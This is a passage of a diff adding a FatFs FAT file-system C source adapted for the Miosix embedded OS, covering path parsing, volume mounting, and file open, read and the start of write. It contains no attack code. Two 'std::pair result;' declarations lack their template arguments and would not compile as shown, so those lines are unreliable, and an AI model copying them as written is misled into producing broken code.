in 8.3 format without extended character, NT flags are created */ + if ((b & 0x03) == 0x01) cf |= NS_EXT; /* NT flag (Extension has only small capital) */ + if ((b & 0x0C) == 0x04) cf |= NS_BODY; /* NT flag (Filename has only small capital) */ + } + + dp->fn[NS] = cf; /* SFN is created */ + + return FR_OK; + + +#else /* Non-LFN configuration */ + BYTE b, c, d, *sfn; + UINT ni, si, i; + const char *p; + + /* Create file name in directory form */ + for (p = *path; *p == '/' || *p == '\\'; p++) ; /* Strip duplicated separator */ + sfn = dp->fn; + mem_set(sfn, ' ', 11); + si = i = b = 0; ni = 8; +#if _FS_RPATH + if (p[si] == '.') { /* Is this a dot entry? */ + for (;;) { + c = (BYTE)p[si++]; + if (c != '.' || si >= 3) break; + sfn[i++] = c; + } + if (c != '/' && c != '\\' && c > ' ') return FR_INVALID_NAME; + *path = &p[si]; /* Return pointer to the next segment */ + sfn[NS] = (c <= ' ') ? NS_LAST | NS_DOT : NS_DOT; /* Set last segment flag if end of path */ + return FR_OK; + } +#endif + for (;;) { + c = (BYTE)p[si++]; + if (c <= ' ' || c == '/' || c == '\\') break; /* Break on end of segment */ + if (c == '.' || i >= ni) { + if (ni != 8 || c != '.') return FR_INVALID_NAME; + i = 8; ni = 11; + b <<= 2; continue; + } + if (c >= 0x80) { /* Extended character? */ + b |= 3; /* Eliminate NT flag */ +#ifdef _EXCVT + c = ExCvt[c - 0x80]; /* To upper extended characters (SBCS cfg) */ +#else +#if !_DF1S + return FR_INVALID_NAME; /* Reject extended characters (ASCII cfg) */ +#endif +#endif + } + if (IsDBCS1(c)) { /* Check if it is a DBC 1st byte (always false on SBCS cfg) */ + d = (BYTE)p[si++]; /* Get 2nd byte */ + if (!IsDBCS2(d) || i >= ni - 1) /* Reject invalid DBC */ + return FR_INVALID_NAME; + sfn[i++] = c; + sfn[i++] = d; + } else { /* Single byte code */ + if (chk_chr("\"*+,:;<=>\?[]|\x7F", c)) /* Reject illegal chrs for SFN */ + return FR_INVALID_NAME; + if (IsUpper(c)) { /* ASCII large capital? */ + b |= 2; + } else { + if (IsLower(c)) { /* ASCII small capital? */ + b |= 1; c -= 0x20; + } + } + sfn[i++] = c; + } + } + *path = &p[si]; /* Return pointer to the next segment */ + c = (c <= ' ') ? NS_LAST : 0; /* Set last segment flag if end of path */ + + if (!i) return FR_INVALID_NAME; /* Reject nul string */ + if (sfn[0] == DDE) sfn[0] = NDDE; /* When first character collides with DDE, replace it with 0x05 */ + + if (ni == 8) b <<= 2; + if ((b & 0x03) == 0x01) c |= NS_EXT; /* NT flag (Name extension has only small capital) */ + if ((b & 0x0C) == 0x04) c |= NS_BODY; /* NT flag (Name body has only small capital) */ + + sfn[NS] = c; /* Store NT flag, File name is created */ + + return FR_OK; +#endif +} + + + + +/*-----------------------------------------------------------------------*/ +/* Get file information from directory entry */ +/*-----------------------------------------------------------------------*/ +#if _FS_MINIMIZE <= 1 || _FS_RPATH >= 2 +static +void get_fileinfo ( /* No return code */ + DIR_* dp, /* Pointer to the directory object */ + FILINFO* fno /* Pointer to the file information to be filled */ +) +{ + UINT i; + TCHAR *p, c; + + + p = fno->fname; + if (dp->sect) { /* Get SFN */ + BYTE *dir = dp->dir; + + i = 0; + while (i < 11) { /* Copy name body and extension */ + c = (TCHAR)dir[i++]; + if (c == ' ') continue; /* Skip padding spaces */ + if (c == NDDE) c = (TCHAR)DDE; /* Restore replaced DDE character */ + if (i == 9) *p++ = '.'; /* Insert a . if extension is exist */ +#if _USE_LFN + if (IsUpper(c) && (dir[DIR_NTres] & (i >= 9 ? NS_EXT : NS_BODY))) + c += 0x20; /* To lower */ +#if _LFN_UNICODE + if (IsDBCS1(c) && i != 8 && i != 11 && IsDBCS2(dir[i])) + c = c << 8 | dir[i++]; + c = ff_convert(c, 1); /* OEM -> Unicode */ + if (!c) c = '?'; +#endif +#endif + *p++ = c; + } + fno->fattrib = dir[DIR_Attr]; /* Attribute */ + fno->fsize = LD_DWORD(dir+DIR_FileSize); /* Size */ + fno->fdate = LD_WORD(dir+DIR_WrtDate); /* Date */ + fno->ftime = LD_WORD(dir+DIR_WrtTime); /* Time */ + fno->inode=INODE(dp); + } + *p = 0; /* Terminate SFN string by a \0 */ + +#if _USE_LFN + if (fno->lfname) { + WCHAR w, *lfn; + char *pp; + + i = 0; pp = fno->lfname; + if (dp->sect && fno->lfsize && dp->lfn_idx != 0xFFFF) { /* Get LFN if available */ + lfn = dp->lfn; + while ((w = *lfn++) != 0) { /* Get an LFN character */ +#if !_LFN_UNICODE + #error "unsupported" + w = ff_convert(w, 0); /* Unicode -> OEM */ + if (!w) { i = 0; break; } /* No LFN if it could not be converted */ + if (_DF1S && w >= 0x100) /* Put 1st byte if it is a DBC (always false on SBCS cfg) */ + pp[i++] = (TCHAR)(w >> 8); +#endif + std::pair result; + result = miosix::Unicode::putUtf8(&pp[i],w,fno->lfsize - 1 - i); + if(result.first != miosix::Unicode::OK) { i = 0; break; } /* No LFN if buffer overflow */ + i += result.second; + } + } + pp[i] = 0; /* Terminate LFN string by a \0 */ + + //By TFT: unlike plain FatFs we always want to fill lfname with an + //utf8-encoded file name. If there is no lfn (or is too long or + //otherwise broken), then take the sfn (which is utf16) and copy it to + //lfname, converting it to utf8 in the process + if(pp[0]==0) + { + lfn = fno->fname; + i = 0; + while ((w = *lfn++) != 0) + { + std::pair result; + result = miosix::Unicode::putUtf8(&pp[i],w,fno->lfsize - 1 - i); + if(result.first != miosix::Unicode::OK) { i = 0; break; } /* No LFN if buffer overflow */ + i += result.second; + } + pp[i] = 0; /* Terminate LFN string by a \0 */ + } + } +#endif +} +#endif /* _FS_MINIMIZE <= 1 || _FS_RPATH >= 2*/ + + + + +/*-----------------------------------------------------------------------*/ +/* Get logical drive number from path name */ +/*-----------------------------------------------------------------------*/ + +//By TFT: We don't want this reminiscence of microsoft OSes identifying +//drive numbers with 0:/path/to/file +// static +// int get_ldnumber ( /* Returns logical drive number (-1:invalid drive) */ +// const TCHAR** path /* Pointer to pointer to the path name */ +// ) +// { +// int vol = -1; +// +// +// if (*path) { +// vol = (*path)[0] - '0'; +// if ((UINT)vol < 9 && (*path)[1] == ':') { /* There is a drive number */ +// *path += 2; /* Get value and strip it */ +// if (vol >= _VOLUMES) vol = -1; /* Check if the drive number is valid */ +// } else { /* No drive number use default drive */ +// #if _FS_RPATH && _VOLUMES >= 2 +// vol = CurrVol; /* Current drive */ +// #else +// vol = 0; /* Drive 0 */ +// #endif +// } +// } +// +// return vol; +// } + + + + +/*-----------------------------------------------------------------------*/ +/* Follow a file path */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT follow_path ( /* FR_OK(0): successful, !=0: error code */ + DIR_* dp, /* Directory object to return last directory and found object */ + const /*TCHAR*/char *path /* Full-path string to find a file or directory */ +) +{ + FRESULT res; + BYTE *dir, ns; + + +#if _FS_RPATH + if (*path == '/' || *path == '\\') { /* There is a heading separator */ + path++; dp->sclust = 0; /* Strip it and start from the root directory */ + } else { /* No heading separator */ + dp->sclust = dp->fs->cdir; /* Start from the current directory */ + } +#else + if (*path == '/' || *path == '\\') /* Strip heading separator if exist */ + path++; + dp->sclust = 0; /* Always start from the root directory */ +#endif + + if ((UINT)*path < ' ') { /* Null path name is the origin directory itself */ + res = dir_sdi(dp, 0); + dp->dir = 0; + } else { /* Follow path */ + for (;;) { + res = create_name(dp, &path); /* Get a segment name of the path */ + if (res != FR_OK) break; + res = dir_find(dp); /* Find an object with the sagment name */ + ns = dp->fn[NS]; + if (res != FR_OK) { /* Failed to find the object */ + if (res == FR_NO_FILE) { /* Object is not found */ + if (_FS_RPATH && (ns & NS_DOT)) { /* If dot entry is not exist, */ + dp->sclust = 0; dp->dir = 0; /* it is the root directory and stay there */ + if (!(ns & NS_LAST)) continue; /* Continue to follow if not last segment */ + res = FR_OK; /* Ended at the root directroy. Function completed. */ + } else { /* Could not find the object */ + if (!(ns & NS_LAST)) res = FR_NO_PATH; /* Adjust error code if not last segment */ + } + } + break; + } + if (ns & NS_LAST) break; /* Last segment matched. Function completed. */ + dir = dp->dir; /* Follow the sub-directory */ + if (!(dir[DIR_Attr] & AM_DIR)) { /* It is not a sub-directory and cannot follow */ + res = FR_NO_PATH; break; + } + dp->sclust = ld_clust(dp->fs, dir); + } + } + + return res; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Load a sector and check if it is an FAT boot sector */ +/*-----------------------------------------------------------------------*/ + +static +BYTE check_fs ( /* 0:FAT boor sector, 1:Valid boor sector but not FAT, 2:Not a boot sector, 3:Disk error */ + FATFS* fs, /* File system object */ + DWORD sect /* Sector# (lba) to check if it is an FAT boot record or not */ +) +{ + fs->wflag = 0; fs->winsect = 0xFFFFFFFF; /* Invaidate window */ + if (move_window(fs, sect) != FR_OK) /* Load boot record */ + return 3; + + if (LD_WORD(&fs->win[BS_55AA]) != 0xAA55) /* Check boot record signature (always placed at offset 510 even if the sector size is >512) */ + return 2; + + if ((LD_DWORD(&fs->win[BS_FilSysType]) & 0xFFFFFF) == 0x544146) /* Check "FAT" string */ + return 0; + if ((LD_DWORD(&fs->win[BS_FilSysType32]) & 0xFFFFFF) == 0x544146) /* Check "FAT" string */ + return 0; + + return 1; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Find logical drive and check if the volume is mounted */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT find_volume ( /* FR_OK(0): successful, !=0: any error occurred */ + FATFS *fs, /* By TFT: added to get rid of static variables */ + /*FATFS** rfs,*/ /* Pointer to pointer to the found file system object */ + /*const TCHAR** path,*/ /* Pointer to pointer to the path name (drive number) */ + BYTE wmode /* !=0: Check write protection for write access */ +) +{ + BYTE fmt; + int vol; + DSTATUS stat; + DWORD bsect, fasize, tsect, sysect, nclst, szbfat; + WORD nrsv; + //FATFS *fs; + + + /* Get logical drive number from the path name */ + //*rfs = 0; + vol = 0;//get_ldnumber(path); + if (vol < 0) return FR_INVALID_DRIVE; + + /* Check if the file system object is valid or not */ + //fs = FatFs[vol]; /* Get pointer to the file system object */ + if (!fs) return FR_NOT_ENABLED; /* Is the file system object available? */ + + ENTER_FF(fs); /* Lock the volume */ + //*rfs = fs; /* Return pointer to the file system object */ + + if (fs->fs_type) { /* If the volume has been mounted */ + stat = RES_OK;//disk_status(fs->drv); + if (!(stat & STA_NOINIT)) { /* and the physical drive is kept initialized */ + if (!_FS_READONLY && wmode && (stat & STA_PROTECT)) /* Check write protection if needed */ + return FR_WRITE_PROTECTED; + return FR_OK; /* The file system object is valid */ + } + } + + /* The file system object is not valid. */ + /* Following code attempts to mount the volume. (analyze BPB and initialize the fs object) */ + + fs->fs_type = 0; /* Clear the file system object */ + //fs->drv = LD2PD(vol); /* Bind the logical drive and a physical drive */ + stat = RES_OK;//disk_initialize(fs->drv); /* Initialize the physical drive */ + if (stat & STA_NOINIT) /* Check if the initialization succeeded */ + return FR_NOT_READY; /* Failed to initialize due to no medium or hard error */ + if (!_FS_READONLY && wmode && (stat & STA_PROTECT)) /* Check disk write protection if needed */ + return FR_WRITE_PROTECTED; +#if _MAX_SS != 512 /* Get sector size (variable sector size cfg only) */ + if (disk_ioctl(fs->drv, GET_SECTOR_SIZE, &fs->ssize) != RES_OK) + return FR_DISK_ERR; +#endif + /* Find an FAT partition on the drive. Supports only generic partitioning, FDISK and SFD. */ + bsect = 0; + fmt = check_fs(fs, bsect); /* Load sector 0 and check if it is an FAT boot sector as SFD */ + if (fmt == 1 || (!fmt && (LD2PT(vol)))) { /* Not an FAT boot sector or forced partition number */ + UINT i; + DWORD br[4]; + + for (i = 0; i < 4; i++) { /* Get partition offset */ + BYTE *pt = fs->win+MBR_Table + i * SZ_PTE; + br[i] = pt[4] ? LD_DWORD(&pt[8]) : 0; + } + i = LD2PT(vol); /* Partition number: 0:auto, 1-4:forced */ + if (i) i--; + do { /* Find an FAT volume */ + bsect = br[i]; + fmt = bsect ? check_fs(fs, bsect) : 2; /* Check the partition */ + } while (!LD2PT(vol) && fmt && ++i < 4); + } + if (fmt == 3) return FR_DISK_ERR; /* An error occured in the disk I/O layer */ + if (fmt) return FR_NO_FILESYSTEM; /* No FAT volume is found */ + + /* An FAT volume is found. Following code initializes the file system object */ + + if (LD_WORD(fs->win+BPB_BytsPerSec) != SS(fs)) /* (BPB_BytsPerSec must be equal to the physical sector size) */ + return FR_NO_FILESYSTEM; + + fasize = LD_WORD(fs->win+BPB_FATSz16); /* Number of sectors per FAT */ + if (!fasize) fasize = LD_DWORD(fs->win+BPB_FATSz32); + fs->fsize = fasize; + + fs->n_fats = fs->win[BPB_NumFATs]; /* Number of FAT copies */ + if (fs->n_fats != 1 && fs->n_fats != 2) /* (Must be 1 or 2) */ + return FR_NO_FILESYSTEM; + fasize *= fs->n_fats; /* Number of sectors for FAT area */ + + fs->csize = fs->win[BPB_SecPerClus]; /* Number of sectors per cluster */ + if (!fs->csize || (fs->csize & (fs->csize - 1))) /* (Must be power of 2) */ + return FR_NO_FILESYSTEM; + + fs->n_rootdir = LD_WORD(fs->win+BPB_RootEntCnt); /* Number of root directory entries */ + if (fs->n_rootdir % (SS(fs) / SZ_DIR)) /* (Must be sector aligned) */ + return FR_NO_FILESYSTEM; + + tsect = LD_WORD(fs->win+BPB_TotSec16); /* Number of sectors on the volume */ + if (!tsect) tsect = LD_DWORD(fs->win+BPB_TotSec32); + + nrsv = LD_WORD(fs->win+BPB_RsvdSecCnt); /* Number of reserved sectors */ + if (!nrsv) return FR_NO_FILESYSTEM; /* (Must not be 0) */ + + /* Determine the FAT sub type */ + sysect = nrsv + fasize + fs->n_rootdir / (SS(fs) / SZ_DIR); /* RSV+FAT+DIR */ + if (tsect < sysect) return FR_NO_FILESYSTEM; /* (Invalid volume size) */ + nclst = (tsect - sysect) / fs->csize; /* Number of clusters */ + if (!nclst) return FR_NO_FILESYSTEM; /* (Invalid volume size) */ + fmt = FS_FAT12; + if (nclst >= MIN_FAT16) fmt = FS_FAT16; + if (nclst >= MIN_FAT32) fmt = FS_FAT32; + + /* Boundaries and Limits */ + fs->n_fatent = nclst + 2; /* Number of FAT entries */ + fs->volbase = bsect; /* Volume start sector */ + fs->fatbase = bsect + nrsv; /* FAT start sector */ + fs->database = bsect + sysect; /* Data start sector */ + if (fmt == FS_FAT32) { + if (fs->n_rootdir) return FR_NO_FILESYSTEM; /* (BPB_RootEntCnt must be 0) */ + fs->dirbase = LD_DWORD(fs->win+BPB_RootClus); /* Root directory start cluster */ + szbfat = fs->n_fatent * 4; /* (Required FAT size) */ + } else { + if (!fs->n_rootdir) return FR_NO_FILESYSTEM; /* (BPB_RootEntCnt must not be 0) */ + fs->dirbase = fs->fatbase + fasize; /* Root directory start sector */ + szbfat = (fmt == FS_FAT16) ? /* (Required FAT size) */ + fs->n_fatent * 2 : fs->n_fatent * 3 / 2 + (fs->n_fatent & 1); + } + if (fs->fsize < (szbfat + (SS(fs) - 1)) / SS(fs)) /* (BPB_FATSz must not be less than required) */ + return FR_NO_FILESYSTEM; + +#if !_FS_READONLY + /* Initialize cluster allocation information */ + fs->last_clust = fs->free_clust = 0xFFFFFFFF; + + /* Get fsinfo if available */ + fs->fsi_flag = 0x80; + if (fmt == FS_FAT32 /* Enable FSINFO only if FAT32 and BPB_FSInfo is 1 */ + && LD_WORD(fs->win+BPB_FSInfo) == 1 + && move_window(fs, bsect + 1) == FR_OK) + { + fs->fsi_flag = 0; + if (LD_WORD(fs->win+BS_55AA) == 0xAA55 /* Load FSINFO data if available */ + && LD_DWORD(fs->win+FSI_LeadSig) == 0x41615252 + && LD_DWORD(fs->win+FSI_StrucSig) == 0x61417272) + { +#if !_FS_NOFSINFO + fs->free_clust = LD_DWORD(fs->win+FSI_Free_Count); +#endif + fs->last_clust = LD_DWORD(fs->win+FSI_Nxt_Free); + } + } +#endif + fs->fs_type = fmt; /* FAT sub-type */ + fs->id = miosix::atomicAddExchange(&Fsid,1)/*++Fsid*/; /* File system mount ID */ +#if _FS_RPATH + fs->cdir = 0; /* Current directory (root dir) */ +#endif +#ifdef _FS_LOCK /* Clear file lock semaphores */ + clear_lock(fs); +#endif + + return FR_OK; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Check if the file/directory object is valid or not */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT validate ( /* FR_OK(0): The object is valid, !=0: Invalid */ + void* obj /* Pointer to the object FIL/DIR to check validity */ +) +{ + FIL *fil = (FIL*)obj; /* Assuming offset of .fs and .id in the FIL/DIR structure is identical */ + + + if (!fil || !fil->fs || !fil->fs->fs_type || fil->fs->id != fil->id) + return FR_INVALID_OBJECT; + + ENTER_FF(fil->fs); /* Lock file system */ + + //if (disk_status(fil->fs->drv) & STA_NOINIT) + // return FR_NOT_READY; + + return FR_OK; +} + + + + +/*-------------------------------------------------------------------------- + + Public Functions + +--------------------------------------------------------------------------*/ + + + +/*-----------------------------------------------------------------------*/ +/* Mount/Unmount a Logical Drive */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_mount ( + FATFS* fs, /* Pointer to the file system object (NULL:unmount)*/ + /*const TCHAR* path,*/ /* Logical drive number to be mounted/unmounted */ + BYTE opt, /* 0:Do not mount (delayed mount), 1:Mount immediately */ + bool umount +) +{ + FATFS *cfs; + int vol; + FRESULT res; + + + vol = 0;//get_ldnumber(&path); + if (vol < 0) return FR_INVALID_DRIVE; + cfs = fs;//FatFs[vol]; /* Pointer to fs object */ + + if (/*cfs*/umount) { +#ifdef _FS_LOCK + clear_lock(cfs); +#endif +#if _FS_REENTRANT /* Discard sync object of the current volume */ + if (!ff_del_syncobj(cfs->sobj)) return FR_INT_ERR; +#endif + cfs->fs_type = 0; /* Clear old fs object */ + } + + if (/*fs*/!umount) { + fs->fs_type = 0; /* Clear new fs object */ + memset(fs->Files,0,sizeof(FATFS::Files)); +#if _FS_REENTRANT /* Create sync object for the new volume */ + if (!ff_cre_syncobj(vol, &fs->sobj)) return FR_INT_ERR; +#endif + } + //FatFs[vol] = fs; /* Register new fs object */ + + if (/*!fs*/umount || opt != 1) return FR_OK; /* Do not mount now, it will be mounted later */ + + res = find_volume(fs, /*&path,*/ 0); /* Force mounted the volume */ + LEAVE_FF(fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Open or Create a File */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_open ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + FIL* fp, /* Pointer to the blank file object */ + const /*TCHAR*/char *path, /* Pointer to the file name */ + BYTE mode /* Access mode and file open mode flags */ +) +{ + FRESULT res; + DIR_ dj; + BYTE *dir; + DEF_NAMEBUF; + + + if (!fp) return FR_INVALID_OBJECT; + fp->fs = 0; /* Clear file object */ + + /* Get logical drive number */ + dj.fs=fs; +#if !_FS_READONLY + mode &= FA_READ | FA_WRITE | FA_CREATE_ALWAYS | FA_OPEN_ALWAYS | FA_CREATE_NEW; + res = find_volume(dj.fs, /*&path,*/ (BYTE)(mode & ~FA_READ)); +#else + mode &= FA_READ; + res = find_volume(dj.fs, &path, 0); +#endif + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the file path */ + dir = dj.dir; +#if !_FS_READONLY /* R/W configuration */ + if (res == FR_OK) { + if (!dir) /* Default directory itself */ + res = FR_INVALID_NAME; +#ifdef _FS_LOCK + else + res = chk_lock(&dj, (mode & ~FA_READ) ? 1 : 0); +#endif + } + /* Create or Open a file */ + if (mode & (FA_CREATE_ALWAYS | FA_OPEN_ALWAYS | FA_CREATE_NEW)) { + DWORD dw, cl; + + if (res != FR_OK) { /* No file, create new */ + if (res == FR_NO_FILE) /* There is no file to open, create a new entry */ +#ifdef _FS_LOCK + res = enq_lock(dj.fs) ? dir_register(&dj) : FR_TOO_MANY_OPEN_FILES; +#else + res = dir_register(&dj); +#endif + mode |= FA_CREATE_ALWAYS; /* File is created */ + dir = dj.dir; /* New entry */ + } + else { /* Any object is already existing */ + if (dir[DIR_Attr] & (AM_RDO | AM_DIR)) { /* Cannot overwrite it (R/O or DIR) */ + res = FR_DENIED; + } else { + if (mode & FA_CREATE_NEW) /* Cannot create as new file */ + res = FR_EXIST; + } + } + if (res == FR_OK && (mode & FA_CREATE_ALWAYS)) { /* Truncate it if overwrite mode */ + dw = get_fattime(); /* Created time */ + ST_DWORD(dir+DIR_CrtTime, dw); + dir[DIR_Attr] = 0; /* Reset attribute */ + ST_DWORD(dir+DIR_FileSize, 0); /* size = 0 */ + cl = ld_clust(dj.fs, dir); /* Get start cluster */ + st_clust(dir, 0); /* cluster = 0 */ + dj.fs->wflag = 1; + if (cl) { /* Remove the cluster chain if exist */ + dw = dj.fs->winsect; + res = remove_chain(dj.fs, cl); + if (res == FR_OK) { + dj.fs->last_clust = cl - 1; /* Reuse the cluster hole */ + res = move_window(dj.fs, dw); + } + } + } + } + else { /* Open an existing file */ + if (res == FR_OK) { /* Follow succeeded */ + if (dir[DIR_Attr] & AM_DIR) { /* It is a directory */ + res = FR_NO_FILE; + } else { + if ((mode & FA_WRITE) && (dir[DIR_Attr] & AM_RDO)) /* R/O violation */ + res = FR_DENIED; + } + } + } + if (res == FR_OK) { + if (mode & FA_CREATE_ALWAYS) /* Set file change flag if created or overwritten */ + mode |= FA__WRITTEN; + fp->dir_sect = dj.fs->winsect; /* Pointer to the directory entry */ + fp->dir_ptr = dir; +#ifdef _FS_LOCK + fp->lockid = inc_lock(&dj, (mode & ~FA_READ) ? 1 : 0); + if (!fp->lockid) res = FR_INT_ERR; +#endif + } + +#else /* R/O configuration */ + if (res == FR_OK) { /* Follow succeeded */ + dir = dj.dir; + if (!dir) { /* Current directory itself */ + res = FR_INVALID_NAME; + } else { + if (dir[DIR_Attr] & AM_DIR) /* It is a directory */ + res = FR_NO_FILE; + } + } +#endif + FREE_BUF(); + + if (res == FR_OK) { + fp->flag = mode; /* File access mode */ + fp->err = 0; /* Clear error flag */ + fp->sclust = ld_clust(dj.fs, dir); /* File start cluster */ + fp->fsize = LD_DWORD(dir+DIR_FileSize); /* File size */ + fp->fptr = 0; /* File pointer */ + fp->dsect = 0; +#if _USE_FASTSEEK + fp->cltbl = 0; /* Normal seek mode */ +#endif + fp->fs = dj.fs; /* Validate file object */ + fp->id = fp->fs->id; + } + } + + LEAVE_FF(dj.fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Read File */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_read ( + FIL* fp, /* Pointer to the file object */ + void* buff, /* Pointer to data buffer */ + UINT btr, /* Number of bytes to read */ + UINT* br /* Pointer to number of bytes read */ +) +{ + FRESULT res; + DWORD clst, sect, remain; + UINT rcnt, cc; + BYTE csect, *rbuff = (BYTE*)buff; + + + *br = 0; /* Clear read byte counter */ + + res = validate(fp); /* Check validity */ + if (res != FR_OK) LEAVE_FF(fp->fs, res); + if (fp->err) /* Check error */ + LEAVE_FF(fp->fs, (FRESULT)fp->err); + if (!(fp->flag & FA_READ)) /* Check access mode */ + LEAVE_FF(fp->fs, FR_DENIED); + remain = fp->fsize - fp->fptr; + if (btr > remain) btr = (UINT)remain; /* Truncate btr by remaining bytes */ + + for ( ; btr; /* Repeat until all data read */ + rbuff += rcnt, fp->fptr += rcnt, *br += rcnt, btr -= rcnt) { + if ((fp->fptr % SS(fp->fs)) == 0) { /* On the sector boundary? */ + csect = (BYTE)(fp->fptr / SS(fp->fs) & (fp->fs->csize - 1)); /* Sector offset in the cluster */ + if (!csect) { /* On the cluster boundary? */ + if (fp->fptr == 0) { /* On the top of the file? */ + clst = fp->sclust; /* Follow from the origin */ + } else { /* Middle or end of the file */ +#if _USE_FASTSEEK + if (fp->cltbl) + clst = clmt_clust(fp, fp->fptr); /* Get cluster# from the CLMT */ + else +#endif + clst = get_fat(fp->fs, fp->clust); /* Follow cluster chain on the FAT */ + } + if (clst < 2) ABORT(fp->fs, FR_INT_ERR); + if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); + fp->clust = clst; /* Update current cluster */ + } + sect = clust2sect(fp->fs, fp->clust); /* Get current sector */ + if (!sect) ABORT(fp->fs, FR_INT_ERR); + sect += csect; + cc = btr / SS(fp->fs); /* When remaining bytes >= sector size, */ + if (cc) { /* Read maximum contiguous sectors directly */ + if (csect + cc > fp->fs->csize) /* Clip at cluster boundary */ + cc = fp->fs->csize - csect; + if (disk_read(fp->fs->drv, rbuff, sect, cc)) + ABORT(fp->fs, FR_DISK_ERR); +#if !_FS_READONLY && _FS_MINIMIZE <= 2 /* Replace one of the read sectors with cached data if it contains a dirty sector */ +#if _FS_TINY + if (fp->fs->wflag && fp->fs->winsect - sect < cc) + mem_cpy(rbuff + ((fp->fs->winsect - sect) * SS(fp->fs)), fp->fs->win, SS(fp->fs)); +#else + if ((fp->flag & FA__DIRTY) && fp->dsect - sect < cc) + mem_cpy(rbuff + ((fp->dsect - sect) * SS(fp->fs)), fp->buf, SS(fp->fs)); +#endif +#endif + rcnt = SS(fp->fs) * cc; /* Number of bytes transferred */ + continue; + } +#if !_FS_TINY + if (fp->dsect != sect) { /* Load data sector if not in cache */ +#if !_FS_READONLY + if (fp->flag & FA__DIRTY) { /* Write-back dirty sector cache */ + if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) + ABORT(fp->fs, FR_DISK_ERR); + fp->flag &= ~FA__DIRTY; + } +#endif + if (disk_read(fp->fs->drv, fp->buf, sect, 1)) /* Fill sector cache */ + ABORT(fp->fs, FR_DISK_ERR); + } +#endif + fp->dsect = sect; + } + rcnt = SS(fp->fs) - ((UINT)fp->fptr % SS(fp->fs)); /* Get partial sector data from sector buffer */ + if (rcnt > btr) rcnt = btr; +#if _FS_TINY + if (move_window(fp->fs, fp->dsect)) /* Move sector window */ + ABORT(fp->fs, FR_DISK_ERR); + mem_cpy(rbuff, &fp->fs->win[fp->fptr % SS(fp->fs)], rcnt); /* Pick partial sector */ +#else + mem_cpy(rbuff, &fp->buf[fp->fptr % SS(fp->fs)], rcnt); /* Pick partial sector */ +#endif + } + + LEAVE_FF(fp->fs, FR_OK); +} + + + + +#if !_FS_READONLY +/*-----------------------------------------------------------------------*/ +/* Write File */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_write ( + FIL* fp, /* Pointer to the file object */ + const void *buff, /* Pointer to the data to be written */ + UINT btw, /* Number of bytes to write */ + UINT* bw /* Pointer to number of bytes written */ +) +{ + FRESULT res; + DWORD clst, sect; + UINT wcnt, cc; + const BYTE *wbuff = (const BYTE*)buff; + BYTE csect; + + + *bw = 0; /* Clear write byte counter */ + + res = validate(fp); /* Check validity */ + if (res != FR_OK) LEAVE_FF(fp->fs, res); + if (fp->err) /* Check error */ + LEAVE_FF(fp->fs, (FRESULT)fp->err); + if (!(fp->flag & FA_WRITE)) /* Check access mode */ + LEAVE_FF(fp->fs, FR_DENIED); + if (fp->fptr + btw < fp->fptr) btw = 0; /* File size cannot reach 4GB */ + + for ( ; btw; /* Repeat until all data written */ + wbuff += wcnt, fp->fptr += wcnt, *bw += wcnt, btw -= wcnt) { + if ((fp->fptr % SS(fp->fs)) == 0) { /* On the sector boundary? */ + csect = (BYTE)(fp->fptr / SS(fp->fs) & (fp->fs->csize - 1)); /* Sector offset in the cluster */ + if (!csect) { /* On the cluster boundary? */ + if (fp->fptr == 0) { /* On the top of the file? */ + clst = fp->sclust; /* Follow from the origin */ + if (clst == 0) /* When no cluster is allocated, */ + fp->sclust = clst = create_chain(fp->fs, 0); /* Create a new cluster chain */ + } else { /* Middle or end of the file */ +#if _USE_FASTSEEK + if (fp->cltbl) + clst = clmt_clust(fp, fp->fptr); /* Get cluster# from the CLMT */ + else +#endif + clst = create_chain(fp->fs, fp->clust); /* Follow or stretch cluster chain on the FAT */ + } + if (clst == 0) break; /* Could not allocate a new cluster (disk full) */ + if (clst == 1) ABORT(fp->fs, FR_INT_ERR); + if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); + fp->clust = clst; /* Update current cluster */ + } +#if _FS_TINY + if (fp->fs->winsect == fp->dsect && sync_window(fp->fs)) /* Write-back sector cache */ + ABORT(fp->fs, FR_DISK_ERR); +#else + if (fp->flag & FA__DIRTY) { /* Write-back sector cache */ + if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) + ABORT(fp->fs, FR_DISK_ERR); + fp->flag &= ~FA__DIRTY; + } +#endif + sect = clust2sect(fp->fs, fp->clust); /* Get current sector */ + if (!sect) ABORT(fp->fs, FR_INT_ERR); + sect += csect; + cc = btw / SS(fp->fs); /* When remaining bytes >= sector size, */ + if (cc) { /* Write maximum contiguous sectors directly */ + if (csect + cc > fp->fs->csize) /* Clip at cluster boundary */ + cc = fp->fs->csize - csect; + if (disk_write(fp->fs->drv, wbuff, sect, cc)) + ABORT(fp->fs, FR_DISK_ERR); +#if _FS_MINIMIZE <= 2 +#if _FS_TINY + if (fp->fs->winsect - sect < cc) { /* Refill sector cache if it gets invalidated by the direct write */ + mem_cpy(fp->fs->win, wbuff + ((fp->fs->winsect - sect) * SS(fp->fs)), SS(fp->fs)); + fp->fs->wflag = 0; + } +#else + if (fp->dsect - sect < cc) { /* Refill sector cache if it gets invalidated by the direct write */ + mem_cpy(fp->buf, wbuff + ((fp->dsect - sect) * SS(fp->fs)), SS(fp->fs)); + fp->flag &= ~FA__DIRTY; + } +#endif +#endif + wcnt = SS(fp->fs) * cc; /* Number of bytes transferred */ + continue; + } +#if _FS_TINY + if (fp->fptr >= fp->fsize) { /* Avoid silly cache filling at growing edge */ + if (sync_window(fp->fs)) ABORT(fp->fs, FR_DISK_ERR); + fp->fs->winsect = sect; + } +#else + if (fp->dsect != sect) { /* Fill sector cache with file data */ + if (fp->fptr < fp->fsize && + disk_read(fp->fs->drv, fp->buf, sect, 